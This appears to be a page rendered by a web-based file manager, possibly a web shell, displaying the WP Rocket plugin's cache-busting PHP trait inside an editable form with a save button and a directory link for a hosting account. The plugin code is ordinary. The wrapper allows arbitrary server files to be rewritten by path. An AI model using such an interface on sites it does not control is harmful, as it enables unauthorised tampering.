<h2>File Contents: /home/planet5/public_html/wp-content/plugins/wp-rocket/inc/classes/busting/trait-file-busting.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/wp-rocket/inc/classes/busting/trait-file-busting.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
namespace WP_Rocket\Busting;

use WP_Rocket\Logger\Logger;

trait File_Busting {
	/**
	 * Saves the content of the URL to bust to the busting file if it doesn&#039;t exist yet.
	 *
	 * @since  3.2.4
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @param  string $url URL to get the content from.
	 * @return bool
	 */
	public function save( $url ) {
		if ( $this-&gt;get_busting_version() ) {
			// We have a local copy.
			Logger::debug(
				&#039;Found local file.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $this-&gt;get_busting_path(),
				]
			);
			return true;
		}

		if ( $this-&gt;refresh_save( $url ) ) {
			// We downloaded a fresh copy.
			Logger::debug(
				&#039;New copy downloaded.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $this-&gt;get_busting_path(),
				]
			);
			return true;
		}

		return false;
    }

    /**
	 * Deletes the busting file.
	 *
	 * @since  3.1
	 * @since  3.2.4 Handle versioning.
	 * @access public
	 * @author Remy Perona
	 * @author Grégory Viguier
	 *
	 * @return bool True on success. False on failure.
	 */
	public function delete() {
		$files = $this-&gt;get_all_files();

		if ( false === $files ) {
			// Error.
			return false;
		}

		$this-&gt;file_version = null;

		if ( ! $files ) {
			// No local files yet.
			return true;
		}

		return $this-&gt;delete_files( \array_keys( $files ) );
    }

    /** ----------------------------------------------------------------------------------------- */
	/** LOCAL FILE ============================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Get the version of the current busting file.
	 *
	 * @since  3.2.4
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return string|bool Version of the file. False if the file does not exist.
	 */
	protected function get_busting_version() {
		if ( isset( $this-&gt;file_version ) ) {
			return $this-&gt;file_version;
		}

		$files = $this-&gt;get_all_files();

		if ( ! $files ) {
			// Error or no local files yet.
			return false;
		}

		// Since we&#039;re not supposed to have several files, return the first one.
		$this-&gt;file_version = \reset( $files );

		return $this-&gt;file_version;
	}

	/**
	 * Get all cached files in the directory.
	 * In a perfect world, there should be only one.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @return bool|bool A list of file names (as array keys) and versions (as array values). False on failure.
	 */
	private function get_all_files() {
		$dir_path = \rtrim( $this-&gt;busting_path, &#039;\\/&#039; );

		if ( ! $this-&gt;filesystem-&gt;exists( $dir_path ) ) {
			return [];
		}

		if ( ! $this-&gt;filesystem-&gt;is_readable( $dir_path ) ) {
			Logger::error(
				&#039;Directory is not readable.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $dir_path,
				]
			);
			return false;
		}

		$dir = $this-&gt;filesystem-&gt;dirlist( $dir_path );

		if ( false === $dir ) {
			Logger::error(
				&#039;Could not get the directory contents.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $dir_path,
				]
			);
			return false;
		}

		if ( ! $dir ) {
			return [];
		}

		$list    = [];
		$pattern = $this-&gt;escape_file_name( $this-&gt;filename );
		$pattern = \sprintf( $pattern, &#039;(?&lt;version&gt;(?:[a-f0-9]{32}|local))&#039; );

		foreach ( $dir as $entry ) {
			if ( &#039;f&#039; !== $entry[&#039;type&#039;] ) {
				continue;
			}

			if ( \preg_match( &#039;/^&#039; . $pattern . &#039;$/&#039;, $entry[&#039;name&#039;], $matches ) ) {
				$list[ $entry[&#039;name&#039;] ] = $matches[&#039;version&#039;];
			}
		}

		return $list;
	}

	/**
	 * Get the final URL for the current cache busting file.
	 *
	 * @since  3.2.4
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return string|bool URL of the file. False if the file does not exist.
	 */
	public function get_busting_url() {
		return $this-&gt;get_busting_file_url( $this-&gt;get_busting_version() );
	}

	/**
	 * Get the path to the current cache busting file.
	 *
	 * @since  3.2.4
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return string|bool URL of the file. False if the file does not exist.
	 */
	protected function get_busting_path() {
		return $this-&gt;get_busting_file_path( $this-&gt;get_busting_version() );
	}

	/**
	 * Get the final URL for a cache busting file.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $version The file version.
	 * @return string|bool     URL of the file with this version. False if no versions are provided.
	 */
	private function get_busting_file_url( $version ) {
		if ( ! $version ) {
			return false;
		}

		$filename = $this-&gt;get_busting_file_name( $version );

		// This filter is documented in inc/functions/minify.php.
		return \apply_filters( &#039;rocket_js_url&#039;, $this-&gt;busting_url . $filename );
	}

	/**
	 * Get the local file name.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $version The file version.
	 * @return string|bool     The name of the file with this version. False if no versions are provided.
	 */
	private function get_busting_file_name( $version ) {
		if ( ! $version ) {
			return false;
		}

		return \sprintf( $this-&gt;filename, $version );
	}

	/**
	 * Get the local file path.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $version The file version.
	 * @return string|bool     Path to the file with this version. False if no versions are provided.
	 */
	private function get_busting_file_path( $version ) {
		if ( ! $version ) {
			return false;
		}

		return $this-&gt;busting_path . $this-&gt;get_busting_file_name( $version );
	}

	/**
	 * Escape a file name, to be used in a regex pattern (delimiter is `/`).
	 * `%s` conversion specifications are protected.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $file_name The file name.
	 * @return string
	 */
	private function escape_file_name( $file_name ) {
		$file_name = \explode( &#039;%s&#039;, $file_name );
		$file_name = \array_map( &#039;preg_quote&#039;, $file_name );

		return \implode( &#039;%s&#039;, $file_name );
    }

    /**
	 * Delete busting files.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  array $files A list of file names.
	 * @return bool         True if files have been deleted (or no files have been provided). False on failure.
	 */
	private function delete_files( $files ) {
		if ( ! $files ) {
			// ¯\_(ツ)_/¯
			return true;
		}

		$has_deleted = false;
		$error_paths = [];

		foreach ( $files as $file_name ) {
			if ( ! $this-&gt;filesystem-&gt;delete( $this-&gt;busting_path . $file_name, false, &#039;f&#039; ) ) {
				$error_paths[] = $this-&gt;busting_path . $file_name;
			} else {
				$has_deleted = true;
			}
		}

		if ( $error_paths ) {
			// Group all deletion errors into one log.
			Logger::error(
				&#039;Local file(s) could not be deleted.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;paths&#039; =&gt; $error_paths,
				]
			);
		}

		return $has_deleted;
    }

    /** ----------------------------------------------------------------------------------------- */
	/** UPDATE THE LOCAL FILE =================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Add new contents to a file. If the file doesn&#039;t exist, it is created.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $file_path     Path to the file to update.
	 * @param  string $file_contents New contents.
	 * @return string|bool           The file contents on success. False on failure.
	 */
	private function update_file_contents( $file_path, $file_contents ) {
		if ( ! $this-&gt;is_busting_dir_writable() ) {
			return false;
		}

		if ( ! \rocket_put_content( $file_path, $file_contents ) ) {
			Logger::error(
				&#039;Contents could not be written into file.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $file_path,
				]
			);
			return false;
		}

		return $file_contents;
	}

	/**
	 * Tell if the directory containing the busting file is writable.
	 *
	 * @since  3.2
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	private function is_busting_dir_writable() {
		if ( ! $this-&gt;filesystem-&gt;exists( $this-&gt;busting_path ) ) {
			\rocket_mkdir_p( $this-&gt;busting_path );
		}

		if ( ! $this-&gt;filesystem-&gt;is_writable( $this-&gt;busting_path ) ) {
			Logger::error(
				&#039;Directory is not writable.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;paths&#039; =&gt; $this-&gt;busting_path,
				]
			);
			return false;
		}

		return true;
	}

	/** ----------------------------------------------------------------------------------------- */
	/** GET LOCAL/REMOTE CONTENTS =============================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Get a file contents. If the file doesn&#039;t exist, new contents are fetched remotely.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $file_path Path to the file.
	 * @param  string $file_url  URL to the remote file.
	 * @return string|bool       The contents on success, false on failure.
	 */
	private function get_file_or_remote_contents( $file_path, $file_url ) {
		$content = $this-&gt;get_file_contents( $file_path );

		if ( $content ) {
			// We have a local file.
			return $content;
		}

		return $this-&gt;get_remote_contents( $file_url );
	}

	/**
	 * Get a file contents.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $file_path Path to the file.
	 * @return string|bool       The contents on success, false on failure.
	 */
	private function get_file_contents( $file_path ) {
		if ( ! $this-&gt;filesystem-&gt;exists( $file_path ) ) {
			Logger::error(
				&#039;Local file does not exist.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $file_path,
				]
			);
			return false;
		}

		if ( ! $this-&gt;filesystem-&gt;is_readable( $file_path ) ) {
			Logger::error(
				&#039;Local file is not readable.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $file_path,
				]
			);
			return false;
		}

		$content = $this-&gt;filesystem-&gt;get_contents( $file_path );

		if ( ! $content ) {
			Logger::error(
				&#039;Local file is empty.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;path&#039; =&gt; $file_path,
				]
			);
			return false;
		}

		return $content;
	}

	/**
	 * Get the contents of a URL.
	 *
	 * @since  3.2.4
	 * @access private
	 * @author Grégory Viguier
	 *
	 * @param  string $url The URL to request.
	 * @return string|bool The contents on success. False on failure.
	 */
	private function get_remote_contents( $url ) {
		try {
			$response = \wp_remote_get( $url );
		} catch ( \Exception $e ) {
			Logger::error(
				&#039;Remote file could not be fetched.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;url&#039;      =&gt; $url,
					&#039;response&#039; =&gt; $e-&gt;getMessage(),
				]
			);
			return false;
		}

		if ( \is_wp_error( $response ) ) {
			Logger::error(
				&#039;Remote file could not be fetched.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;url&#039;      =&gt; $url,
					&#039;response&#039; =&gt; $response-&gt;get_error_message(),
				]
			);
			return false;
		}

		$contents = \wp_remote_retrieve_body( $response );

		if ( ! $contents ) {
			Logger::error(
				&#039;Remote file could not be fetched.&#039;,
				[
					self::LOGGER_CONTEXT,
					&#039;url&#039;      =&gt; $url,
					&#039;response&#039; =&gt; $response,
				]
			);
			return false;
		}

		return $contents;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-content%2Fplugins%2Fwp-rocket%2Finc%2Fclasses%2Fbusting'>⬅ Back to Directory</a>